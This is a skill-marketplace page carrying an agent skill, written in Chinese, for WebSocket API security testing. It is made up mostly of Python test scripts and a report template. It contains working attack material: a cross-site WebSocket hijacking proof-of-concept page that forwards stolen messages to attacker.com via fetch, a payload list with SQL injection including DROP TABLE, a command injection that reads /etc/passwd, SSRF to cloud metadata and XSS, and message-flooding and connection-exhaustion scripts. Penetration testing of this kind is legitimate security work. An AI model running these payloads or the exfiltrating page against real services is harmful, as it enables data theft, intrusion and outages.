# Testing Websocket API Security

> 测试 WebSocket API 实现中的安全漏洞，包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking，CSWSH）、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务，以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息，构造恶意 payload，并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

- Skill: `killvxk/testing-websocket-api-security` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/testing-websocket-api-security`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/testing-websocket-api-security/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/testing-websocket-api-security

---

# 测试 WebSocket API 安全

## 适用场景

- 评估使用 WebSocket（ws://）或安全 WebSocket（Secure WebSocket，wss://）协议的实时通信 API
- 测试跨站 WebSocket 劫持（CSWSH）——攻击者页面连接到合法 WebSocket 服务器
- 评估 WebSocket 连接和消息上的身份认证与授权强制执行
- 测试 WebSocket 消息 payload 的输入校验，发现注入漏洞
- 评估 WebSocket 实现是否存在通过消息泛洪或超大帧实施的拒绝服务（DoS）风险

**不适用于**未经书面授权的情况。WebSocket 测试可能中断实时服务并影响其他已连接用户。

## 前置条件

- 书面授权，明确 WebSocket 端点和测试范围
- Burp Suite Professional，具备 WebSocket 拦截能力
- Python 3.10+，安装 `websockets` 和 `asyncio` 库
- 浏览器开发者工具，用于观察 WebSocket 握手和帧
- wscat CLI 工具，用于手动 WebSocket 交互：`npm install -g wscat`
- 了解所使用的 WebSocket 子协议（JSON-RPC、STOMP 或自定义协议）

## 工作流程

### 步骤 1：WebSocket 端点发现与握手分析

```python
import asyncio
import websockets
import json
import ssl
import time

WS_URL = "wss://target-api.example.com/ws"
AUTH_TOKEN = "Bearer <token>"

# 捕获并分析 WebSocket 握手
async def analyze_handshake():
    """分析 WebSocket 升级请求和响应头。"""
    try:
        async with websockets.connect(
            WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            ssl=ssl.create_default_context()
        ) as ws:
            print(f"已连接到: {WS_URL}")
            print(f"协议: {ws.subprotocol}")
            print(f"扩展: {ws.extensions}")

            # 发送测试消息
            test_msg = json.dumps({"type": "ping"})
            await ws.send(test_msg)
            response = await asyncio.wait_for(ws.recv(), timeout=5)
            print(f"服务器响应: {response}")

            return True
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"连接被拒绝: {e.status_code}")
        return False
    except Exception as e:
        print(f"连接错误: {e}")
        return False

asyncio.run(analyze_handshake())
```

### 步骤 2：身份认证与授权测试

```python
async def test_ws_authentication():
    """测试 WebSocket 是否需要身份认证。"""
    results = []

    # 测试 1：不带任何认证连接
    try:
        async with websockets.connect(WS_URL) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "无认证",
                "status": "存在漏洞",
                "response": resp[:200]
            })
            print(f"[漏洞] WebSocket 在无认证情况下可访问")
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "无认证", "status": "安全"})
    except Exception as e:
        results.append({"test": "无认证", "status": f"错误: {e}"})

    # 测试 2：使用无效令牌连接
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": "Bearer invalid_token"}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "无效令牌",
                "status": "存在漏洞",
                "response": resp[:200]
            })
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "无效令牌", "status": "安全"})
    except Exception as e:
        results.append({"test": "无效令牌", "status": f"错误: {e}"})

    # 测试 3：使用过期令牌连接
    expired_token = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired"
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": expired_token}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({"test": "过期令牌", "status": "存在漏洞"})
    except (websockets.exceptions.InvalidStatusCode, Exception):
        results.append({"test": "过期令牌", "status": "安全"})

    # 测试 4：令牌在查询参数中（泄露风险）
    try:
        async with websockets.connect(f"{WS_URL}?token={AUTH_TOKEN}") as ws:
            await ws.send(json.dumps({"type": "ping"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "URL 中的令牌",
                "status": "信息 - 令牌在查询参数中被接受（可能泄露到日志中）"
            })
    except Exception:
        results.append({"test": "URL 中的令牌", "status": "已拒绝"})

    for r in results:
        print(f"  [{r['status'][:10]}] {r['test']}")

    return results

asyncio.run(test_ws_authentication())
```

### 步骤 3：跨站 WebSocket 劫持（CSWSH）测试

```python
async def test_cswsh():
    """测试跨站 WebSocket 劫持漏洞。"""
    # CSWSH 发生于 WebSocket 服务器未校验 Origin 头部时
    # 攻击者的网站可以连接到合法 WebSocket 并窃取数据

    origins_to_test = [
        None,                                    # 无 Origin 头部
        "https://evil.com",                      # 攻击者域名
        "https://target-api.example.com.evil.com",  # 子域名混淆
        "null",                                  # null origin（沙盒 iframe）
        "https://target-api.example.com",        # 合法 origin
        "http://target-api.example.com",         # HTTP 降级
    ]

    print("=== CSWSH 测试 ===\n")
    for origin in origins_to_test:
        try:
            headers = {"Authorization": AUTH_TOKEN}
            if origin:
                headers["Origin"] = origin

            async with websockets.connect(WS_URL, extra_headers=headers) as ws:
                # 尝试接收应受限制的数据
                await ws.send(json.dumps({"type": "get_messages"}))
                resp = await asyncio.wait_for(ws.recv(), timeout=5)

                if origin and origin != "https://target-api.example.com":
                    print(f"[CSWSH] Origin '{origin}' -> 已接受（已收到数据）")
                else:
                    print(f"[正常] Origin '{origin}' -> 已接受（合法来源）")
        except websockets.exceptions.InvalidStatusCode as e:
            print(f"[已阻止] Origin '{origin}' -> 已拒绝 ({e.status_code})")
        except Exception as e:
            print(f"[错误] Origin '{origin}' -> {e}")

asyncio.run(test_cswsh())

# CSWSH 利用的 PoC HTML 页面
CSWSH_POC = """
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// 此页面托管在 attacker.com，连接到目标 WebSocket
// 如果服务器不校验 Origin，受害者的浏览器将
// 发送 cookie/凭据，攻击者将收到数据

var ws = new WebSocket("wss://target-api.example.com/ws");

ws.onopen = function() {
    console.log("已连接到目标 WebSocket");
    ws.send(JSON.stringify({type: "get_messages"}));
    ws.send(JSON.stringify({type: "get_user_data"}));
};

ws.onmessage = function(event) {
    console.log("窃取的数据:", event.data);
    // 外泄到攻击者服务器
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: event.data
    });
};
</script>
<p>加载中... (CSWSH 攻击进行中)</p>
</body>
</html>
"""
```

### 步骤 4：WebSocket 消息注入测试

```python
async def test_ws_injection():
    """测试 WebSocket 消息中的注入漏洞。"""

    INJECTION_PAYLOADS = {
        "sql": [
            {"type": "search", "query": "' OR '1'='1"},
            {"type": "search", "query": "'; DROP TABLE messages;--"},
            {"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"},
        ],
        "nosql": [
            {"type": "search", "query": {"$ne": ""}},
            {"type": "get_user", "filter": {"$gt": ""}},
        ],
        "xss": [
            {"type": "send_message", "content": "<script>alert('xss')</script>"},
            {"type": "send_message", "content": "<img src=x onerror=alert(1)>"},
            {"type": "update_name", "name": "Test<script>document.location='https://evil.com'</script>"},
        ],
        "command": [
            {"type": "process", "file": "test; cat /etc/passwd"},
            {"type": "convert", "input": "test | id"},
        ],
        "ssrf": [
            {"type": "load_url", "url": "http://169.254.169.254/latest/meta-data/"},
            {"type": "webhook", "callback": "http://localhost:6379/"},
        ],
        "overflow": [
            {"type": "send_message", "content": "A" * 100000},
            {"type": "search", "query": "B" * 1000000},
        ],
    }

    async with websockets.connect(WS_URL,
        extra_headers={"Authorization": AUTH_TOKEN}) as ws:

        for category, payloads in INJECTION_PAYLOADS.items():
            for payload in payloads:
                try:
                    await ws.send(json.dumps(payload))
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)

                    # 分析响应中的注入特征
                    resp_lower = resp.lower()
                    indicators = []
                    if any(kw in resp_lower for kw in ["sql", "syntax", "mysql", "postgresql"]):
                        indicators.append("SQL 错误")
                    if any(kw in resp_lower for kw in ["root:", "uid=", "etc/passwd"]):
                        indicators.append("命令执行输出")
                    if any(kw in resp_lower for kw in ["ami-id", "instance-id", "metadata"]):
                        indicators.append("SSRF 数据")
                    if "script" in resp_lower and "xss" not in category:
                        indicators.append("反射型 XSS")

                    if indicators:
                        print(f"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}")
                    elif len(resp) > 10000:
                        print(f"[溢出] 大响应: {len(resp)} 字节")
                except asyncio.TimeoutError:
                    pass
                except websockets.exceptions.ConnectionClosed:
                    print(f"[崩溃] {category} payload 后连接关闭")
                    # 重新连接
                    break

asyncio.run(test_ws_injection())
```

### 步骤 5：拒绝服务测试

```python
async def test_ws_dos():
    """测试 WebSocket 的 DoS 漏洞。"""
    print("=== WebSocket DoS 测试 ===\n")

    # 测试 1：消息泛洪
    async def flood_test():
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN}) as ws:
            count = 0
            start = time.time()
            for i in range(10000):
                try:
                    await ws.send(json.dumps({"type": "ping", "id": i}))
                    count += 1
                except websockets.exceptions.ConnectionClosed:
                    break
            elapsed = time.time() - start
            print(f"  泛洪测试: {elapsed:.1f}s 内发送了 {count} 条消息（{count/elapsed:.0f} msg/s）")

    await flood_test()

    # 测试 2：超大消息
    async def large_message_test():
        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB 到 10MB
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            max_size=20*1024*1024) as ws:
            for size in sizes:
                try:
                    large_msg = json.dumps({"type": "data", "payload": "A" * size})
                    await ws.send(large_msg)
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)
                    print(f"  超大消息（{size} 字节）: 已接受")
                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:
                    print(f"  超大消息（{size} 字节）: 已拒绝/已断连")
                    break

    await large_message_test()

    # 测试 3：连接耗尽
    async def connection_exhaustion():
        connections = []
        for i in range(100):
            try:
                ws = await websockets.connect(WS_URL,
                    extra_headers={"Authorization": AUTH_TOKEN})
                connections.append(ws)
            except Exception:
                break
        print(f"  连接耗尽测试: 建立了 {len(connections)} 个并发连接")
        for ws in connections:
            await ws.close()

    await connection_exhaustion()

asyncio.run(test_ws_dos())
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **WebSocket** | 基于单个 TCP 连接的全双工通信协议，通过 HTTP 升级握手建立连接 |
| **CSWSH** | 跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking）——恶意网站利用受害者浏览器的凭据向合法服务器发起 WebSocket 连接 |
| **Origin 校验** | 在 WebSocket 握手期间对 Origin 头部进行服务端检查，通过拒绝来自未授权域名的连接来防止 CSWSH |
| **WebSocket 帧（Frame）** | WebSocket 通信的基本数据单元，包含操作码、掩码、payload 长度和 payload 数据 |
| **升级握手（Upgrade Handshake）** | 携带 `Upgrade: websocket` 和 `Connection: Upgrade` 头部的 HTTP 请求，用于建立 WebSocket 连接 |
| **消息泛洪（Message Flooding）** | 发送大量 WebSocket 消息以耗尽服务器资源（内存、CPU、带宽） |

## 工具与系统

- **Burp Suite Professional**：拦截 WebSocket 握手和消息，支持消息修改和重放
- **OWASP ZAP**：具备消息模糊测试、拦截和断点功能的 WebSocket 测试工具
- **wscat**：命令行 WebSocket 客户端，用于手动测试：`wscat -c wss://target.com/ws -H "Authorization: Bearer token"`
- **websocat**：高级 CLI WebSocket 工具，支持代理、广播和脚本化功能
- **Autobahn TestSuite**：全面的 WebSocket 协议合规性和安全测试框架

## 常见场景

### 场景：聊天应用 WebSocket 安全评估

**场景背景**：某即时通讯应用使用 WebSocket 实现实时聊天，WebSocket 端点处理消息投递、正在输入指示、已读回执和用户在线状态。认证基于 Cookie。

**方法**：
1. 分析 WebSocket 握手：连接建立于 `wss://chat.example.com/ws`，使用会话 Cookie 认证
2. 测试 CSWSH：WebSocket 服务器未校验 Origin 头部——攻击者页面可以连接并接收受害者的消息
3. 测试认证：WebSocket 接受带有过期会话 Cookie 的连接（会话校验仅在握手时进行，后续消息不再校验）
4. 测试授权：用户 A 可通过构造频道 ID，向其不是成员的私有频道发送消息
5. 测试注入：消息内容未经过滤直接存储；消息体中的 XSS payload 在其他用户浏览器中执行
6. 测试消息泛洪：服务器在无速率限制的情况下每秒接受 5000 条消息，导致 CPU 峰值
7. 发现 WebSocket 消息泄露了发送者的内部用户 ID、邮箱和 IP 地址（信息泄露）

**常见陷阱**：
- 因应用使用基于令牌的认证而不测试 CSWSH（Cookie 会随 WebSocket 自动发送）
- 仅测试初始握手认证，而未验证持续的消息授权
- 因 payload 在 JSON WebSocket 帧中而非 HTTP 参数中，遗漏注入漏洞
- 未测试重连行为（服务器重连时是否重新校验认证？）
- 忽视 WebSocket 连接可能绕过 HTTP 层速率限制和 WAF 规则

## 输出格式

```
## 发现：跨站 WebSocket 劫持（CSWSH）导致实时数据被窃取

**ID**: API-WS-001
**严重程度**: 高 (CVSS 8.1)
**受影响端点**: wss://chat.example.com/ws

**描述**:
WebSocket 服务器在握手期间未校验 Origin 头部。攻击者可托管恶意网页，
利用受害者的会话 Cookie 向聊天服务器建立 WebSocket 连接。
所有消息、正在输入指示和在线状态数据都会被实时转发给攻击者。

**概念验证**:
将 CSWSH PoC 页面托管在 attacker.com。当已登录用户访问该页面时，
JavaScript 会向聊天服务器建立 WebSocket 连接。服务器使用受害者的
Cookie 对连接进行认证，并将所有实时聊天数据发送给攻击者的连接。

**影响**:
实时拦截任何访问攻击者页面的用户的所有私人消息、在线状态数据和输入指示。

**修复建议**:
1. 将 Origin 头部与合法域名白名单进行校验
2. 在 WebSocket 握手 URL 中实现 CSRF 令牌
3. 对 WebSocket 使用基于令牌的认证（Authorization 头部）而非 Cookie
4. 实施逐消息授权检查，而不仅仅是连接级认证
5. 对每个连接的 WebSocket 消息量添加速率限制
```